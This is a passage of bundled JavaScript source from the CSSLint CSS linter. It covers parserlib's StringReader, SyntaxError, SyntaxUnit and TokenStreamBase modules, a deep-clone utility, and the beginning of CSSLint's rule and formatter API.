6498 }
6499
6500
6501 }
6502 }
6503};
6504
6505},{}],24:[function(require,module,exports){
6506"use strict";
6507
6508module.exports = StringReader;
6509
6510/**
6511 * Convenient way to read through strings.
6512 * @namespace parserlib.util
6513 * @class StringReader
6514 * @constructor
6515 * @param {String} text The text to read.
6516 */
6517function StringReader(text) {
6518
6519 /**
6520 * The input text with line endings normalized.
6521 * @property _input
6522 * @type String
6523 * @private
6524 */
6525 this._input = text.replace(/(\r\n?|\n)/g, "\n");
6526
6527
6528 /**
6529 * The row for the character to be read next.
6530 * @property _line
6531 * @type int
6532 * @private
6533 */
6534 this._line = 1;
6535
6536
6537 /**
6538 * The column for the character to be read next.
6539 * @property _col
6540 * @type int
6541 * @private
6542 */
6543 this._col = 1;
6544
6545 /**
6546 * The index of the character in the input to be read next.
6547 * @property _cursor
6548 * @type int
6549 * @private
6550 */
6551 this._cursor = 0;
6552}
6553
6554StringReader.prototype = {
6555
6556 // restore constructor
6557 constructor: StringReader,
6558
6559 //-------------------------------------------------------------------------
6560 // Position info
6561 //-------------------------------------------------------------------------
6562
6563 /**
6564 * Returns the column of the character to be read next.
6565 * @return {int} The column of the character to be read next.
6566 * @method getCol
6567 */
6568 getCol: function() {
6569 return this._col;
6570 },
6571
6572 /**
6573 * Returns the row of the character to be read next.
6574 * @return {int} The row of the character to be read next.
6575 * @method getLine
6576 */
6577 getLine: function() {
6578 return this._line;
6579 },
6580
6581 /**
6582 * Determines if you're at the end of the input.
6583 * @return {Boolean} True if there's no more input, false otherwise.
6584 * @method eof
6585 */
6586 eof: function() {
6587 return this._cursor === this._input.length;
6588 },
6589
6590 //-------------------------------------------------------------------------
6591 // Basic reading
6592 //-------------------------------------------------------------------------
6593
6594 /**
6595 * Reads the next character without advancing the cursor.
6596 * @param {int} count How many characters to look ahead (default is 1).
6597 * @return {String} The next character or null if there is no next character.
6598 * @method peek
6599 */
6600 peek: function(count) {
6601 var c = null;
6602 count = typeof count === "undefined" ? 1 : count;
6603
6604 // if we're not at the end of the input...
6605 if (this._cursor < this._input.length) {
6606
6607 // get character and increment cursor and column
6608 c = this._input.charAt(this._cursor + count - 1);
6609 }
6610
6611 return c;
6612 },
6613
6614 /**
6615 * Reads the next character from the input and adjusts the row and column
6616 * accordingly.
6617 * @return {String} The next character or null if there is no next character.
6618 * @method read
6619 */
6620 read: function() {
6621 var c = null;
6622
6623 // if we're not at the end of the input...
6624 if (this._cursor < this._input.length) {
6625
6626 // if the last character was a newline, increment row count
6627 // and reset column count
6628 if (this._input.charAt(this._cursor) === "\n") {
6629 this._line++;
6630 this._col=1;
6631 } else {
6632 this._col++;
6633 }
6634
6635 // get character and increment cursor and column
6636 c = this._input.charAt(this._cursor++);
6637 }
6638
6639 return c;
6640 },
6641
6642 //-------------------------------------------------------------------------
6643 // Misc
6644 //-------------------------------------------------------------------------
6645
6646 /**
6647 * Saves the current location so it can be returned to later.
6648 * @method mark
6649 * @return {void}
6650 */
6651 mark: function() {
6652 this._bookmark = {
6653 cursor: this._cursor,
6654 line: this._line,
6655 col: this._col
6656 };
6657 },
6658
6659 reset: function() {
6660 if (this._bookmark) {
6661 this._cursor = this._bookmark.cursor;
6662 this._line = this._bookmark.line;
6663 this._col = this._bookmark.col;
6664 delete this._bookmark;
6665 }
6666 },
6667
6668 //-------------------------------------------------------------------------
6669 // Advanced reading
6670 //-------------------------------------------------------------------------
6671
6672 /**
6673 * Reads up to and including the given string. Throws an error if that
6674 * string is not found.
6675 * @param {String} pattern The string to read.
6676 * @return {String} The string when it is found.
6677 * @throws Error when the string pattern is not found.
6678 * @method readTo
6679 */
6680 readTo: function(pattern) {
6681
6682 var buffer = "",
6683 c;
6684
6685 /*
6686 * First, buffer must be the same length as the pattern.
6687 * Then, buffer must end with the pattern or else reach the
6688 * end of the input.
6689 */
6690 while (buffer.length < pattern.length || buffer.lastIndexOf(pattern) !== buffer.length - pattern.length) {
6691 c = this.read();
6692 if (c) {
6693 buffer += c;
6694 } else {
6695 throw new Error("Expected \"" + pattern + "\" at line " + this._line + ", col " + this._col + ".");
6696 }
6697 }
6698
6699 return buffer;
6700
6701 },
6702
6703 /**
6704 * Reads characters while each character causes the given
6705 * filter function to return true. The function is passed
6706 * in each character and either returns true to continue
6707 * reading or false to stop.
6708 * @param {Function} filter The function to read on each character.
6709 * @return {String} The string made up of all characters that passed the
6710 * filter check.
6711 * @method readWhile
6712 */
6713 readWhile: function(filter) {
6714
6715 var buffer = "",
6716 c = this.peek();
6717
6718 while (c !== null && filter(c)) {
6719 buffer += this.read();
6720 c = this.peek();
6721 }
6722
6723 return buffer;
6724
6725 },
6726
6727 /**
6728 * Reads characters that match either text or a regular expression and
6729 * returns those characters. If a match is found, the row and column
6730 * are adjusted; if no match is found, the reader's state is unchanged.
6731 * reading or false to stop.
6732 * @param {String|RegExp} matcher If a string, then the literal string
6733 * value is searched for. If a regular expression, then any string
6734 * matching the pattern is search for.
6735 * @return {String} The string made up of all characters that matched or
6736 * null if there was no match.
6737 * @method readMatch
6738 */
6739 readMatch: function(matcher) {
6740
6741 var source = this._input.substring(this._cursor),
6742 value = null;
6743
6744 // if it's a string, just do a straight match
6745 if (typeof matcher === "string") {
6746 if (source.slice(0, matcher.length) === matcher) {
6747 value = this.readCount(matcher.length);
6748 }
6749 } else if (matcher instanceof RegExp) {
6750 if (matcher.test(source)) {
6751 value = this.readCount(RegExp.lastMatch.length);
6752 }
6753 }
6754
6755 return value;
6756 },
6757
6758
6759 /**
6760 * Reads a given number of characters. If the end of the input is reached,
6761 * it reads only the remaining characters and does not throw an error.
6762 * @param {int} count The number of characters to read.
6763 * @return {String} The string made up the read characters.
6764 * @method readCount
6765 */
6766 readCount: function(count) {
6767 var buffer = "";
6768
6769 while (count--) {
6770 buffer += this.read();
6771 }
6772
6773 return buffer;
6774 }
6775
6776};
6777
6778},{}],25:[function(require,module,exports){
6779"use strict";
6780
6781module.exports = SyntaxError;
6782
6783/**
6784 * Type to use when a syntax error occurs.
6785 * @class SyntaxError
6786 * @namespace parserlib.util
6787 * @constructor
6788 * @param {String} message The error message.
6789 * @param {int} line The line at which the error occurred.
6790 * @param {int} col The column at which the error occurred.
6791 */
6792function SyntaxError(message, line, col) {
6793 Error.call(this);
6794 this.name = this.constructor.name;
6795
6796 /**
6797 * The column at which the error occurred.
6798 * @type int
6799 * @property col
6800 */
6801 this.col = col;
6802
6803 /**
6804 * The line at which the error occurred.
6805 * @type int
6806 * @property line
6807 */
6808 this.line = line;
6809
6810 /**
6811 * The text representation of the unit.
6812 * @type String
6813 * @property text
6814 */
6815 this.message = message;
6816
6817}
6818
6819//inherit from Error
6820SyntaxError.prototype = Object.create(Error.prototype); // jshint ignore:line
6821SyntaxError.prototype.constructor = SyntaxError; // jshint ignore:line
6822
6823},{}],26:[function(require,module,exports){
6824"use strict";
6825
6826module.exports = SyntaxUnit;
6827
6828/**
6829 * Base type to represent a single syntactic unit.
6830 * @class SyntaxUnit
6831 * @namespace parserlib.util
6832 * @constructor
6833 * @param {String} text The text of the unit.
6834 * @param {int} line The line of text on which the unit resides.
6835 * @param {int} col The column of text on which the unit resides.
6836 */
6837function SyntaxUnit(text, line, col, type) {
6838
6839
6840 /**
6841 * The column of text on which the unit resides.
6842 * @type int
6843 * @property col
6844 */
6845 this.col = col;
6846
6847 /**
6848 * The line of text on which the unit resides.
6849 * @type int
6850 * @property line
6851 */
6852 this.line = line;
6853
6854 /**
6855 * The text representation of the unit.
6856 * @type String
6857 * @property text
6858 */
6859 this.text = text;
6860
6861 /**
6862 * The type of syntax unit.
6863 * @type int
6864 * @property type
6865 */
6866 this.type = type;
6867}
6868
6869/**
6870 * Create a new syntax unit based solely on the given token.
6871 * Convenience method for creating a new syntax unit when
6872 * it represents a single token instead of multiple.
6873 * @param {Object} token The token object to represent.
6874 * @return {parserlib.util.SyntaxUnit} The object representing the token.
6875 * @static
6876 * @method fromToken
6877 */
6878SyntaxUnit.fromToken = function(token) {
6879 return new SyntaxUnit(token.value, token.startLine, token.startCol);
6880};
6881
6882SyntaxUnit.prototype = {
6883
6884 //restore constructor
6885 constructor: SyntaxUnit,
6886
6887 /**
6888 * Returns the text representation of the unit.
6889 * @return {String} The text representation of the unit.
6890 * @method valueOf
6891 */
6892 valueOf: function() {
6893 return this.toString();
6894 },
6895
6896 /**
6897 * Returns the text representation of the unit.
6898 * @return {String} The text representation of the unit.
6899 * @method toString
6900 */
6901 toString: function() {
6902 return this.text;
6903 }
6904
6905};
6906
6907},{}],27:[function(require,module,exports){
6908"use strict";
6909
6910module.exports = TokenStreamBase;
6911
6912var StringReader = require("./StringReader");
6913var SyntaxError = require("./SyntaxError");
6914
6915/**
6916 * Generic TokenStream providing base functionality.
6917 * @class TokenStreamBase
6918 * @namespace parserlib.util
6919 * @constructor
6920 * @param {String|StringReader} input The text to tokenize or a reader from
6921 * which to read the input.
6922 */
6923function TokenStreamBase(input, tokenData) {
6924
6925 /**
6926 * The string reader for easy access to the text.
6927 * @type StringReader
6928 * @property _reader
6929 * @private
6930 */
6931 this._reader = new StringReader(input ? input.toString() : "");
6932
6933 /**
6934 * Token object for the last consumed token.
6935 * @type Token
6936 * @property _token
6937 * @private
6938 */
6939 this._token = null;
6940
6941 /**
6942 * The array of token information.
6943 * @type Array
6944 * @property _tokenData
6945 * @private
6946 */
6947 this._tokenData = tokenData;
6948
6949 /**
6950 * Lookahead token buffer.
6951 * @type Array
6952 * @property _lt
6953 * @private
6954 */
6955 this._lt = [];
6956
6957 /**
6958 * Lookahead token buffer index.
6959 * @type int
6960 * @property _ltIndex
6961 * @private
6962 */
6963 this._ltIndex = 0;
6964
6965 this._ltIndexCache = [];
6966}
6967
6968/**
6969 * Accepts an array of token information and outputs
6970 * an array of token data containing key-value mappings
6971 * and matching functions that the TokenStream needs.
6972 * @param {Array} tokens An array of token descriptors.
6973 * @return {Array} An array of processed token data.
6974 * @method createTokenData
6975 * @static
6976 */
6977TokenStreamBase.createTokenData = function(tokens) {
6978
6979 var nameMap = [],
6980 typeMap = Object.create(null),
6981 tokenData = tokens.concat([]),
6982 i = 0,
6983 len = tokenData.length+1;
6984
6985 tokenData.UNKNOWN = -1;
6986 tokenData.unshift({ name:"EOF" });
6987
6988 for (; i < len; i++) {
6989 nameMap.push(tokenData[i].name);
6990 tokenData[tokenData[i].name] = i;
6991 if (tokenData[i].text) {
6992 typeMap[tokenData[i].text] = i;
6993 }
6994 }
6995
6996 tokenData.name = function(tt) {
6997 return nameMap[tt];
6998 };
6999
7000 tokenData.type = function(c) {
7001 return typeMap[c];
7002 };
7003
7004 return tokenData;
7005};
7006
7007TokenStreamBase.prototype = {
7008
7009 //restore constructor
7010 constructor: TokenStreamBase,
7011
7012 //-------------------------------------------------------------------------
7013 // Matching methods
7014 //-------------------------------------------------------------------------
7015
7016 /**
7017 * Determines if the next token matches the given token type.
7018 * If so, that token is consumed; if not, the token is placed
7019 * back onto the token stream. You can pass in any number of
7020 * token types and this will return true if any of the token
7021 * types is found.
7022 * @param {int|int[]} tokenTypes Either a single token type or an array of
7023 * token types that the next token might be. If an array is passed,
7024 * it's assumed that the token can be any of these.
7025 * @param {variant} channel (Optional) The channel to read from. If not
7026 * provided, reads from the default (unnamed) channel.
7027 * @return {Boolean} True if the token type matches, false if not.
7028 * @method match
7029 */
7030 match: function(tokenTypes, channel) {
7031
7032 //always convert to an array, makes things easier
7033 if (!(tokenTypes instanceof Array)) {
7034 tokenTypes = [tokenTypes];
7035 }
7036
7037 var tt = this.get(channel),
7038 i = 0,
7039 len = tokenTypes.length;
7040
7041 while (i < len) {
7042 if (tt === tokenTypes[i++]) {
7043 return true;
7044 }
7045 }
7046
7047 //no match found, put the token back
7048 this.unget();
7049 return false;
7050 },
7051
7052 /**
7053 * Determines if the next token matches the given token type.
7054 * If so, that token is consumed; if not, an error is thrown.
7055 * @param {int|int[]} tokenTypes Either a single token type or an array of
7056 * token types that the next token should be. If an array is passed,
7057 * it's assumed that the token must be one of these.
7058 * @return {void}
7059 * @method mustMatch
7060 */
7061 mustMatch: function(tokenTypes) {
7062
7063 var token;
7064
7065 //always convert to an array, makes things easier
7066 if (!(tokenTypes instanceof Array)) {
7067 tokenTypes = [tokenTypes];
7068 }
7069
7070 if (!this.match.apply(this, arguments)) {
7071 token = this.LT(1);
7072 throw new SyntaxError("Expected " + this._tokenData[tokenTypes[0]].name +
7073 " at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol);
7074 }
7075 },
7076
7077 //-------------------------------------------------------------------------
7078 // Consuming methods
7079 //-------------------------------------------------------------------------
7080
7081 /**
7082 * Keeps reading from the token stream until either one of the specified
7083 * token types is found or until the end of the input is reached.
7084 * @param {int|int[]} tokenTypes Either a single token type or an array of
7085 * token types that the next token should be. If an array is passed,
7086 * it's assumed that the token must be one of these.
7087 * @param {variant} channel (Optional) The channel to read from. If not
7088 * provided, reads from the default (unnamed) channel.
7089 * @return {void}
7090 * @method advance
7091 */
7092 advance: function(tokenTypes, channel) {
7093
7094 while (this.LA(0) !== 0 && !this.match(tokenTypes, channel)) {
7095 this.get();
7096 }
7097
7098 return this.LA(0);
7099 },
7100
7101 /**
7102 * Consumes the next token from the token stream.
7103 * @return {int} The token type of the token that was just consumed.
7104 * @method get
7105 */
7106 get: function(channel) {
7107
7108 var tokenInfo = this._tokenData,
7109 i =0,
7110 token,
7111 info;
7112
7113 //check the lookahead buffer first
7114 if (this._lt.length && this._ltIndex >= 0 && this._ltIndex < this._lt.length) {
7115
7116 i++;
7117 this._token = this._lt[this._ltIndex++];
7118 info = tokenInfo[this._token.type];
7119
7120 //obey channels logic
7121 while ((info.channel !== undefined && channel !== info.channel) &&
7122 this._ltIndex < this._lt.length) {
7123 this._token = this._lt[this._ltIndex++];
7124 info = tokenInfo[this._token.type];
7125 i++;
7126 }
7127
7128 //here be dragons
7129 if ((info.channel === undefined || channel === info.channel) &&
7130 this._ltIndex <= this._lt.length) {
7131 this._ltIndexCache.push(i);
7132 return this._token.type;
7133 }
7134 }
7135
7136 //call token retriever method
7137 token = this._getToken();
7138
7139 //if it should be hidden, don't save a token
7140 if (token.type > -1 && !tokenInfo[token.type].hide) {
7141
7142 //apply token channel
7143 token.channel = tokenInfo[token.type].channel;
7144
7145 //save for later
7146 this._token = token;
7147 this._lt.push(token);
7148
7149 //save space that will be moved (must be done before array is truncated)
7150 this._ltIndexCache.push(this._lt.length - this._ltIndex + i);
7151
7152 //keep the buffer under 5 items
7153 if (this._lt.length > 5) {
7154 this._lt.shift();
7155 }
7156
7157 //also keep the shift buffer under 5 items
7158 if (this._ltIndexCache.length > 5) {
7159 this._ltIndexCache.shift();
7160 }
7161
7162 //update lookahead index
7163 this._ltIndex = this._lt.length;
7164 }
7165
7166 /*
7167 * Skip to the next token if:
7168 * 1. The token type is marked as hidden.
7169 * 2. The token type has a channel specified and it isn't the current channel.
7170 */
7171 info = tokenInfo[token.type];
7172 if (info &&
7173 (info.hide ||
7174 (info.channel !== undefined && channel !== info.channel))) {
7175 return this.get(channel);
7176 } else {
7177 //return just the type
7178 return token.type;
7179 }
7180 },
7181
7182 /**
7183 * Looks ahead a certain number of tokens and returns the token type at
7184 * that position. This will throw an error if you lookahead past the
7185 * end of input, past the size of the lookahead buffer, or back past
7186 * the first token in the lookahead buffer.
7187 * @param {int} The index of the token type to retrieve. 0 for the
7188 * current token, 1 for the next, -1 for the previous, etc.
7189 * @return {int} The token type of the token in the given position.
7190 * @method LA
7191 */
7192 LA: function(index) {
7193 var total = index,
7194 tt;
7195 if (index > 0) {
7196 //TODO: Store 5 somewhere
7197 if (index > 5) {
7198 throw new Error("Too much lookahead.");
7199 }
7200
7201 //get all those tokens
7202 while (total) {
7203 tt = this.get();
7204 total--;
7205 }
7206
7207 //unget all those tokens
7208 while (total < index) {
7209 this.unget();
7210 total++;
7211 }
7212 } else if (index < 0) {
7213
7214 if (this._lt[this._ltIndex+index]) {
7215 tt = this._lt[this._ltIndex+index].type;
7216 } else {
7217 throw new Error("Too much lookbehind.");
7218 }
7219
7220 } else {
7221 tt = this._token.type;
7222 }
7223
7224 return tt;
7225
7226 },
7227
7228 /**
7229 * Looks ahead a certain number of tokens and returns the token at
7230 * that position. This will throw an error if you lookahead past the
7231 * end of input, past the size of the lookahead buffer, or back past
7232 * the first token in the lookahead buffer.
7233 * @param {int} The index of the token type to retrieve. 0 for the
7234 * current token, 1 for the next, -1 for the previous, etc.
7235 * @return {Object} The token of the token in the given position.
7236 * @method LA
7237 */
7238 LT: function(index) {
7239
7240 //lookahead first to prime the token buffer
7241 this.LA(index);
7242
7243 //now find the token, subtract one because _ltIndex is already at the next index
7244 return this._lt[this._ltIndex+index-1];
7245 },
7246
7247 /**
7248 * Returns the token type for the next token in the stream without
7249 * consuming it.
7250 * @return {int} The token type of the next token in the stream.
7251 * @method peek
7252 */
7253 peek: function() {
7254 return this.LA(1);
7255 },
7256
7257 /**
7258 * Returns the actual token object for the last consumed token.
7259 * @return {Token} The token object for the last consumed token.
7260 * @method token
7261 */
7262 token: function() {
7263 return this._token;
7264 },
7265
7266 /**
7267 * Returns the name of the token for the given token type.
7268 * @param {int} tokenType The type of token to get the name of.
7269 * @return {String} The name of the token or "UNKNOWN_TOKEN" for any
7270 * invalid token type.
7271 * @method tokenName
7272 */
7273 tokenName: function(tokenType) {
7274 if (tokenType < 0 || tokenType > this._tokenData.length) {
7275 return "UNKNOWN_TOKEN";
7276 } else {
7277 return this._tokenData[tokenType].name;
7278 }
7279 },
7280
7281 /**
7282 * Returns the token type value for the given token name.
7283 * @param {String} tokenName The name of the token whose value should be returned.
7284 * @return {int} The token type value for the given token name or -1
7285 * for an unknown token.
7286 * @method tokenName
7287 */
7288 tokenType: function(tokenName) {
7289 return this._tokenData[tokenName] || -1;
7290 },
7291
7292 /**
7293 * Returns the last consumed token to the token stream.
7294 * @method unget
7295 */
7296 unget: function() {
7297 //if (this._ltIndex > -1) {
7298 if (this._ltIndexCache.length) {
7299 this._ltIndex -= this._ltIndexCache.pop();//--;
7300 this._token = this._lt[this._ltIndex - 1];
7301 } else {
7302 throw new Error("Too much lookahead.");
7303 }
7304 }
7305
7306};
7307
7308
7309},{"./StringReader":24,"./SyntaxError":25}],28:[function(require,module,exports){
7310"use strict";
7311
7312module.exports = {
7313 StringReader : require("./StringReader"),
7314 SyntaxError : require("./SyntaxError"),
7315 SyntaxUnit : require("./SyntaxUnit"),
7316 EventTarget : require("./EventTarget"),
7317 TokenStreamBase : require("./TokenStreamBase")
7318};
7319
7320},{"./EventTarget":23,"./StringReader":24,"./SyntaxError":25,"./SyntaxUnit":26,"./TokenStreamBase":27}],"parserlib":[function(require,module,exports){
7321"use strict";
7322
7323module.exports = {
7324 css : require("./css"),
7325 util : require("./util")
7326};
7327
7328},{"./css":22,"./util":28}]},{},[]);
7329
7330return require('parserlib');
7331})();
7332var clone = (function() {
7333'use strict';
7334
7335var nativeMap;
7336try {
7337 nativeMap = Map;
7338} catch(_) {
7339 // maybe a reference error because no `Map`. Give it a dummy value that no
7340 // value will ever be an instanceof.
7341 nativeMap = function() {};
7342}
7343
7344var nativeSet;
7345try {
7346 nativeSet = Set;
7347} catch(_) {
7348 nativeSet = function() {};
7349}
7350
7351var nativePromise;
7352try {
7353 nativePromise = Promise;
7354} catch(_) {
7355 nativePromise = function() {};
7356}
7357
7358/**
7359 * Clones (copies) an Object using deep copying.
7360 *
7361 * This function supports circular references by default, but if you are certain
7362 * there are no circular references in your object, you can save some CPU time
7363 * by calling clone(obj, false).
7364 *
7365 * Caution: if `circular` is false and `parent` contains circular references,
7366 * your program may enter an infinite loop and crash.
7367 *
7368 * @param `parent` - the object to be cloned
7369 * @param `circular` - set to true if the object to be cloned may contain
7370 * circular references. (optional - true by default)
7371 * @param `depth` - set to a number if the object is only to be cloned to
7372 * a particular depth. (optional - defaults to Infinity)
7373 * @param `prototype` - sets the prototype to be used when cloning an object.
7374 * (optional - defaults to parent prototype).
7375 * @param `includeNonEnumerable` - set to true if the non-enumerable properties
7376 * should be cloned as well. Non-enumerable properties on the prototype
7377 * chain will be ignored. (optional - false by default)
7378*/
7379function clone(parent, circular, depth, prototype, includeNonEnumerable) {
7380 if (typeof circular === 'object') {
7381 depth = circular.depth;
7382 prototype = circular.prototype;
7383 includeNonEnumerable = circular.includeNonEnumerable;
7384 circular = circular.circular;
7385 }
7386 // maintain two arrays for circular references, where corresponding parents
7387 // and children have the same index
7388 var allParents = [];
7389 var allChildren = [];
7390
7391 var useBuffer = typeof Buffer != 'undefined';
7392
7393 if (typeof circular == 'undefined')
7394 circular = true;
7395
7396 if (typeof depth == 'undefined')
7397 depth = Infinity;
7398
7399 // recurse this function so we don't reset allParents and allChildren
7400 function _clone(parent, depth) {
7401 // cloning null always returns null
7402 if (parent === null)
7403 return null;
7404
7405 if (depth === 0)
7406 return parent;
7407
7408 var child;
7409 var proto;
7410 if (typeof parent != 'object') {
7411 return parent;
7412 }
7413
7414 if (parent instanceof nativeMap) {
7415 child = new nativeMap();
7416 } else if (parent instanceof nativeSet) {
7417 child = new nativeSet();
7418 } else if (parent instanceof nativePromise) {
7419 child = new nativePromise(function (resolve, reject) {
7420 parent.then(function(value) {
7421 resolve(_clone(value, depth - 1));
7422 }, function(err) {
7423 reject(_clone(err, depth - 1));
7424 });
7425 });
7426 } else if (clone.__isArray(parent)) {
7427 child = [];
7428 } else if (clone.__isRegExp(parent)) {
7429 child = new RegExp(parent.source, __getRegExpFlags(parent));
7430 if (parent.lastIndex) child.lastIndex = parent.lastIndex;
7431 } else if (clone.__isDate(parent)) {
7432 child = new Date(parent.getTime());
7433 } else if (useBuffer && Buffer.isBuffer(parent)) {
7434 child = new Buffer(parent.length);
7435 parent.copy(child);
7436 return child;
7437 } else if (parent instanceof Error) {
7438 child = Object.create(parent);
7439 } else {
7440 if (typeof prototype == 'undefined') {
7441 proto = Object.getPrototypeOf(parent);
7442 child = Object.create(proto);
7443 }
7444 else {
7445 child = Object.create(prototype);
7446 proto = prototype;
7447 }
7448 }
7449
7450 if (circular) {
7451 var index = allParents.indexOf(parent);
7452
7453 if (index != -1) {
7454 return allChildren[index];
7455 }
7456 allParents.push(parent);
7457 allChildren.push(child);
7458 }
7459
7460 if (parent instanceof nativeMap) {
7461 var keyIterator = parent.keys();
7462 while(true) {
7463 var next = keyIterator.next();
7464 if (next.done) {
7465 break;
7466 }
7467 var keyChild = _clone(next.value, depth - 1);
7468 var valueChild = _clone(parent.get(next.value), depth - 1);
7469 child.set(keyChild, valueChild);
7470 }
7471 }
7472 if (parent instanceof nativeSet) {
7473 var iterator = parent.keys();
7474 while(true) {
7475 var next = iterator.next();
7476 if (next.done) {
7477 break;
7478 }
7479 var entryChild = _clone(next.value, depth - 1);
7480 child.add(entryChild);
7481 }
7482 }
7483
7484 for (var i in parent) {
7485 var attrs;
7486 if (proto) {
7487 attrs = Object.getOwnPropertyDescriptor(proto, i);
7488 }
7489
7490 if (attrs && attrs.set == null) {
7491 continue;
7492 }
7493 child[i] = _clone(parent[i], depth - 1);
7494 }
7495
7496 if (Object.getOwnPropertySymbols) {
7497 var symbols = Object.getOwnPropertySymbols(parent);
7498 for (var i = 0; i < symbols.length; i++) {
7499 // Don't need to worry about cloning a symbol because it is a primitive,
7500 // like a number or string.
7501 var symbol = symbols[i];
7502 var descriptor = Object.getOwnPropertyDescriptor(parent, symbol);
7503 if (descriptor && !descriptor.enumerable && !includeNonEnumerable) {
7504 continue;
7505 }
7506 child[symbol] = _clone(parent[symbol], depth - 1);
7507 if (!descriptor.enumerable) {
7508 Object.defineProperty(child, symbol, {
7509 enumerable: false
7510 });
7511 }
7512 }
7513 }
7514
7515 if (includeNonEnumerable) {
7516 var allPropertyNames = Object.getOwnPropertyNames(parent);
7517 for (var i = 0; i < allPropertyNames.length; i++) {
7518 var propertyName = allPropertyNames[i];
7519 var descriptor = Object.getOwnPropertyDescriptor(parent, propertyName);
7520 if (descriptor && descriptor.enumerable) {
7521 continue;
7522 }
7523 child[propertyName] = _clone(parent[propertyName], depth - 1);
7524 Object.defineProperty(child, propertyName, {
7525 enumerable: false
7526 });
7527 }
7528 }
7529
7530 return child;
7531 }
7532
7533 return _clone(parent, depth);
7534}
7535
7536/**
7537 * Simple flat clone using prototype, accepts only objects, usefull for property
7538 * override on FLAT configuration object (no nested props).
7539 *
7540 * USE WITH CAUTION! This may not behave as you wish if you do not know how this
7541 * works.
7542 */
7543clone.clonePrototype = function clonePrototype(parent) {
7544 if (parent === null)
7545 return null;
7546
7547 var c = function () {};
7548 c.prototype = parent;
7549 return new c();
7550};
7551
7552// private utility functions
7553
7554function __objToStr(o) {
7555 return Object.prototype.toString.call(o);
7556}
7557clone.__objToStr = __objToStr;
7558
7559function __isDate(o) {
7560 return typeof o === 'object' && __objToStr(o) === '[object Date]';
7561}
7562clone.__isDate = __isDate;
7563
7564function __isArray(o) {
7565 return typeof o === 'object' && __objToStr(o) === '[object Array]';
7566}
7567clone.__isArray = __isArray;
7568
7569function __isRegExp(o) {
7570 return typeof o === 'object' && __objToStr(o) === '[object RegExp]';
7571}
7572clone.__isRegExp = __isRegExp;
7573
7574function __getRegExpFlags(re) {
7575 var flags = '';
7576 if (re.global) flags += 'g';
7577 if (re.ignoreCase) flags += 'i';
7578 if (re.multiline) flags += 'm';
7579 return flags;
7580}
7581clone.__getRegExpFlags = __getRegExpFlags;
7582
7583return clone;
7584})();
7585
7586if (typeof module === 'object' && module.exports) {
7587 module.exports = clone;
7588}
7589
7590/**
7591 * Main CSSLint object.
7592 * @class CSSLint
7593 * @static
7594 * @extends parserlib.util.EventTarget
7595 */
7596
7597/* global parserlib, clone, Reporter */
7598/* exported CSSLint */
7599
7600var CSSLint = (function() {
7601 "use strict";
7602
7603 var rules = [],
7604 formatters = [],
7605 embeddedRuleset = /\/\*\s*csslint([^\*]*)\*\//,
7606 api = new parserlib.util.EventTarget();
7607
7608 api.version = "1.0.4";
7609
7610 //-------------------------------------------------------------------------
7611 // Rule Management
7612 //-------------------------------------------------------------------------
7613
7614 /**
7615 * Adds a new rule to the engine.
7616 * @param {Object} rule The rule to add.
7617 * @method addRule
7618 */
7619 api.addRule = function(rule) {
7620 rules.push(rule);
7621 rules[rule.id] = rule;
7622 };
7623
7624 /**
7625 * Clears all rule from the engine.
7626 * @method clearRules
7627 */
7628 api.clearRules = function() {
7629 rules = [];
7630 };
7631
7632 /**
7633 * Returns the rule objects.
7634 * @return An array of rule objects.
7635 * @method getRules
7636 */
7637 api.getRules = function() {
7638 return [].concat(rules).sort(function(a, b) {
7639 return a.id > b.id ? 1 : 0;
7640 });
7641 };
7642
7643 /**
7644 * Returns a ruleset configuration object with all current rules.
7645 * @return A ruleset object.
7646 * @method getRuleset
7647 */
7648 api.getRuleset = function() {
7649 var ruleset = {},
7650 i = 0,
7651 len = rules.length;
7652
7653 while (i < len) {
7654 ruleset[rules[i++].id] = 1; // by default, everything is a warning
7655 }
7656
7657 return ruleset;
7658 };
7659
7660 /**
7661 * Returns a ruleset object based on embedded rules.
7662 * @param {String} text A string of css containing embedded rules.
7663 * @param {Object} ruleset A ruleset object to modify.
7664 * @return {Object} A ruleset object.
7665 * @method getEmbeddedRuleset
7666 */
7667 function applyEmbeddedRuleset(text, ruleset) {
7668 var valueMap,
7669 embedded = text && text.match(embeddedRuleset),
7670 rules = embedded && embedded[1];
7671
7672 if (rules) {
7673 valueMap = {
7674 "true": 2, // true is error
7675 "": 1, // blank is warning
7676 "false": 0, // false is ignore
7677
7678 "2": 2, // explicit error
7679 "1": 1, // explicit warning
7680 "0": 0 // explicit ignore
7681 };
7682
7683 rules.toLowerCase().split(",").forEach(function(rule) {
7684 var pair = rule.split(":"),
7685 property = pair[0] || "",
7686 value = pair[1] || "";
7687
7688 ruleset[property.trim()] = valueMap[value.trim()];
7689 });
7690 }
7691
7692 return ruleset;
7693 }
7694
7695 //-------------------------------------------------------------------------
7696 // Formatters
7697 //-------------------------------------------------------------------------
7698
7699 /**
7700 * Adds a new formatter to the engine.
7701 * @param {Object} formatter The formatter to add.
7702 * @method addFormatter
7703 */
7704 api.addFormatter = function(formatter) {
7705 // formatters.push(formatter);
7706 formatters[formatter.id] = formatter;
7707 };
7708
7709 /**
7710 * Retrieves a formatter for use.
7711 * @param {String} formatId The name of the format to retrieve.
7712 * @return {Object} The formatter or undefined.
7713 * @method getFormatter
7714 */
7715 api.getFormatter = function(formatId) {
7716 return formatters[formatId];
7717 };
7718
7719 /**
7720 * Formats the results in a particular format for a single file.
7721 * @param {Object} result The results returned from CSSLint.verify().
7722 * @param {String} filename The filename for which the results apply.
7723 * @param {String} formatId The name of the formatter to use.
7724 * @param {Object} options (Optional) for special output handling.
7725 * @return {String} A formatted string for the results.
7726 * @method format
7727 */
7728 api.format = function(results, filename, formatId, options) {
7729 var formatter = this.getFormatter(formatId),
7730 result = null;
7731
7732 if (formatter) {
7733 result = formatter.startFormat();
7734 result += formatter.formatResults(results, filename, options || {});
7735 result += formatter.endFormat();
7736 }
7737
7738 return result;
7739 };
7740
7741 /**
7742 * Indicates if the given format is supported.
7743 * @param {String} formatId The ID of the format to check.
7744 * @return {Boolean} True if the format exists, false if not.
7745 * @method hasFormat
7746 */
7747 api.hasFormat = function(formatId) {
7748 return formatters.hasOwnProperty(formatId);
7749 };
7750
7751 //-------------------------------------------------------------------------
7752 // Verification
7753 //-------------------------------------------------------------------------
7754
7755 /**
7756 * Starts the verification process for the given CSS text.
7757 * @param {String} text The CSS text to verify.
7758 * @param {Object} ruleset (Optional) List of rules to apply. If null, then
7759 * all rules are used. If a rule has a value of 1 then it's a warning,
7760 * a value of 2 means it's an error.
